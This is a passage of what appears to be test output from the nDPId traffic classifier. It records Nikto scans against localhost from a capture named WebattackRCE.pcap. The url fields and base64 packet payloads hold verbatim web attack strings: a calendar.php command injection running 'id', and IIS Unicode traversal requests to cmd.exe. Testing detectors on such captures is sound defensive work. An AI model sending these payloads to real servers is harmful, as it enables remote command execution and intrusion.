port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forums\/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003039)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":720,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":720,"flow_packet_id":1,"flow_first_seen":1576420277855,"flow_last_seen":0,"flow_tot_l4_data_len":279,"flow_min_l4_data_len":279,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":279,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51002,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00770{"flow_id":720,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":720,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":855800,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AAAAAAAAAAAAAAAACABFAAErbT9AAEAGzot\/AAABfwAAAcc6H5Be6VQGyl7\/vYAYAED\/HwAAAQEICp1m\/4edZv+HR0VUIC9mb3J1bXovY2FsZW5kYXIucGhwP2NhbGJpcnRoZGF5cz0xJmFjdGlvbj1nZXRkYXkmZGF5PTIwMDEtOC0xNSZjb21tYT0lMjI7ZWNobyUyMCcnOyUyMGVjaG8lMjAlNjBpZCUyMCU2MDtkaWUoKTtlY2hvJTIyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMwMzkpDQoNCg=="} +00868{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":720,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":720,"flow_packet_id":1,"flow_first_seen":1576420277855,"flow_last_seen":0,"flow_tot_l4_data_len":279,"flow_min_l4_data_len":279,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":279,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51002,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forumz\/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003039)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":721,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":721,"flow_packet_id":1,"flow_first_seen":1576420277857,"flow_last_seen":0,"flow_tot_l4_data_len":280,"flow_min_l4_data_len":280,"flow_max_l4_data_len":280,"flow_avg_l4_data_len":280,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51004,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00769{"flow_id":721,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":721,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":857543,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"AAAAAAAAAAAAAAAACABFAAEsZgtAAEAG1b5\/AAABfwAAAcc8H5AWK18ypPoEwIAYAED\/IAAAAQEICp1m\/4mdZv+JR0VUIC9odGZvcnVtL2NhbGVuZGFyLnBocD9jYWxiaXJ0aGRheXM9MSZhY3Rpb249Z2V0ZGF5JmRheT0yMDAxLTgtMTUmY29tbWE9JTIyO2VjaG8lMjAnJzslMjBlY2hvJTIwJTYwaWQlMjAlNjA7ZGllKCk7ZWNobyUyMiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAzMDM5KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00869{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":721,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":721,"flow_packet_id":1,"flow_first_seen":1576420277857,"flow_last_seen":0,"flow_tot_l4_data_len":280,"flow_min_l4_data_len":280,"flow_max_l4_data_len":280,"flow_avg_l4_data_len":280,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51004,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/htforum\/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003039)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":722,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":722,"flow_packet_id":1,"flow_first_seen":1576420277858,"flow_last_seen":0,"flow_tot_l4_data_len":278,"flow_min_l4_data_len":278,"flow_max_l4_data_len":278,"flow_avg_l4_data_len":278,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51006,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00766{"flow_id":722,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":722,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":858942,"pkt_caplen":312,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":312,"pkt_l4_len":278,"pkt":"AAAAAAAAAAAAAAAACABFAAEqtcxAAEAGhf9\/AAABfwAAAcc+H5DIWozz4BLqQYAYAED\/HgAAAQEICp1m\/4qdZv+KR0VUIC9ib2FyZC9jYWxlbmRhci5waHA\/Y2FsYmlydGhkYXlzPTEmYWN0aW9uPWdldGRheSZkYXk9MjAwMS04LTE1JmNvbW1hPSUyMjtlY2hvJTIwJyc7JTIwZWNobyUyMCU2MGlkJTIwJTYwO2RpZSgpO2VjaG8lMjIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzAzOSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00867{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":722,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":722,"flow_packet_id":1,"flow_first_seen":1576420277858,"flow_last_seen":0,"flow_tot_l4_data_len":278,"flow_min_l4_data_len":278,"flow_max_l4_data_len":278,"flow_avg_l4_data_len":278,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51006,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/board\/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003039)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":723,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":723,"flow_packet_id":1,"flow_first_seen":1576420277860,"flow_last_seen":0,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":282,"flow_max_l4_data_len":282,"flow_avg_l4_data_len":282,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51008,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00773{"flow_id":723,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":723,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":860292,"pkt_caplen":316,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":316,"pkt_l4_len":282,"pkt":"AAAAAAAAAAAAAAAACABFAAEumzdAAEAGoJB\/AAABfwAAAcdAH5B97qINvJ0VaoAYAED\/IgAAAQEICp1m\/4ydZv+MR0VUIC9jb21tdW5pdHkvY2FsZW5kYXIucGhwP2NhbGJpcnRoZGF5cz0xJmFjdGlvbj1nZXRkYXkmZGF5PTIwMDEtOC0xNSZjb21tYT0lMjI7ZWNobyUyMCcnOyUyMGVjaG8lMjAlNjBpZCUyMCU2MDtkaWUoKTtlY2hvJTIyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAzMDM5KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00871{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":723,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":723,"flow_packet_id":1,"flow_first_seen":1576420277860,"flow_last_seen":0,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":282,"flow_max_l4_data_len":282,"flow_avg_l4_data_len":282,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51008,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/community\/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003039)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":724,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":724,"flow_packet_id":1,"flow_first_seen":1576420277861,"flow_last_seen":0,"flow_tot_l4_data_len":275,"flow_min_l4_data_len":275,"flow_max_l4_data_len":275,"flow_avg_l4_data_len":275,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51010,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00762{"flow_id":724,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":724,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":861788,"pkt_caplen":309,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":309,"pkt_l4_len":275,"pkt":"AAAAAAAAAAAAAAAACABFAAEntyFAAEAGhK1\/AAABfwAAAcdCH5DLAI4n0VAE+IAYAED\/GwAAAQEICp1m\/42dZv+NR0VUIC92Yi9jYWxlbmRhci5waHA\/Y2FsYmlydGhkYXlzPTEmYWN0aW9uPWdldGRheSZkYXk9MjAwMS04LTE1JmNvbW1hPSUyMjtlY2hvJTIwJyc7JTIwZWNobyUyMCU2MGlkJTIwJTYwO2RpZSgpO2VjaG8lMjIgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMwNDApDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00864{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":724,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":724,"flow_packet_id":1,"flow_first_seen":1576420277861,"flow_last_seen":0,"flow_tot_l4_data_len":275,"flow_min_l4_data_len":275,"flow_max_l4_data_len":275,"flow_avg_l4_data_len":275,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51010,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/vb\/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003040)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":725,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":725,"flow_packet_id":1,"flow_first_seen":1576420277863,"flow_last_seen":0,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":282,"flow_max_l4_data_len":282,"flow_avg_l4_data_len":282,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51012,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00773{"flow_id":725,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":725,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":863229,"pkt_caplen":316,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":316,"pkt_l4_len":282,"pkt":"AAAAAAAAAAAAAAAACABFAAEuCCBAAEAGM6h\/AAABfwAAAcdEH5ADaDEo9nQ1BIAYAED\/IgAAAQEICp1m\/4+dZv+PR0VUIC92YnVsbGV0aW4vY2FsZW5kYXIucGhwP2NhbGJpcnRoZGF5cz0xJmFjdGlvbj1nZXRkYXkmZGF5PTIwMDEtOC0xNSZjb21tYT0lMjI7ZWNobyUyMCcnOyUyMGVjaG8lMjAlNjBpZCUyMCU2MDtkaWUoKTtlY2hvJTIyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMwNDApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00871{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":725,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":725,"flow_packet_id":1,"flow_first_seen":1576420277863,"flow_last_seen":0,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":282,"flow_max_l4_data_len":282,"flow_avg_l4_data_len":282,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51012,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/vbulletin\/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003040)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":726,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":726,"flow_packet_id":1,"flow_first_seen":1576420277864,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51014,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":726,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":864886,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJt5hAAEAGhJR\/AAABfwAAAcdGH5CwLY6th0R7wIAYAED+vQAAAQEICp1m\/5CdZv+QR0VUIC9fdnRpX2Jpbi9mcGNvdW50LmV4ZSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAzMDg5KQ0KDQo="} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":726,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":726,"flow_packet_id":1,"flow_first_seen":1576420277864,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51014,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/_vti_bin\/fpcount.exe","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003089)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":727,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":727,"flow_packet_id":1,"flow_first_seen":1576420277866,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51016,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":727,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":866289,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHtYVAAEAGhql\/AAABfwAAAcdIH5CyuYy6IN3YVoAYAED+uwAAAQEICp1m\/5KdZv+SR0VUIC9zaXRlL2VnL3NvdXJjZS5hc3AgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMxMjYpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":727,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":727,"flow_packet_id":1,"flow_first_seen":1576420277866,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51016,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site\/eg\/source.asp","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003126)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":728,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":728,"flow_packet_id":1,"flow_first_seen":1576420277867,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51018,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00672{"flow_id":728,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":728,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":867839,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"AAAAAAAAAAAAAAAACABFAADlWiBAAEAG4fB\/AAABfwAAAcdKH5CvgWMmQVkzqIAYAED+2QAAAQEICp1m\/5OdZv+TR0VUIC9jZXJ0c3J2Ly4uJWMwJWFmLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMxOTApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00802{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":728,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":728,"flow_packet_id":1,"flow_first_seen":1576420277867,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51018,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/certsrv\/..%c0%af..\/winnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003190)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":729,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":729,"flow_packet_id":1,"flow_first_seen":1576420277870,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51020,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00688{"flow_id":729,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":729,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":870377,"pkt_caplen":254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":254,"pkt_l4_len":220,"pkt":"AAAAAAAAAAAAAAAACABFAADwKqRAAEAGEWJ\/AAABfwAAAcdMH5CrChOaUJIGgIAYAED+5AAAAQEICp1m\/5adZv+WR0VUIC9jZ2ktYmluLy4uJWMwJWFmLi4vLi4lYzAlYWYuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzE5MSkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00814{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":729,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":729,"flow_packet_id":1,"flow_first_seen":1576420277870,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51020,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-bin\/..%c0%af..\/..%c0%af..\/winnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003191)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":730,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":730,"flow_packet_id":1,"flow_first_seen":1576420277871,"flow_last_seen":0,"flow_tot_l4_data_len":211,"flow_min_l4_data_len":211,"flow_max_l4_data_len":211,"flow_avg_l4_data_len":211,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51022,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":730,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":730,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":871883,"pkt_caplen":245,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":245,"pkt_l4_len":211,"pkt":"AAAAAAAAAAAAAAAACABFAADnEqJAAEAGKW1\/AAABfwAAAcdOH5CE7yudGG3JzIAYAED+2wAAAQEICp1m\/5edZv+XR0VUIC9paXNhZG1wd2QvLi4lYzAlYWYuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAzMTkyKQ0KDQo="} +00804{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":730,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":730,"flow_packet_id":1,"flow_first_seen":1576420277871,"flow_last_seen":0,"flow_tot_l4_data_len":211,"flow_min_l4_data_len":211,"flow_max_l4_data_len":211,"flow_avg_l4_data_len":211,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51022,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/iisadmpwd\/..%c0%af..\/winnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003192)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":731,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":731,"flow_packet_id":1,"flow_first_seen":1576420277873,"flow_last_seen":0,"flow_tot_l4_data_len":218,"flow_min_l4_data_len":218,"flow_max_l4_data_len":218,"flow_avg_l4_data_len":218,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51024,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 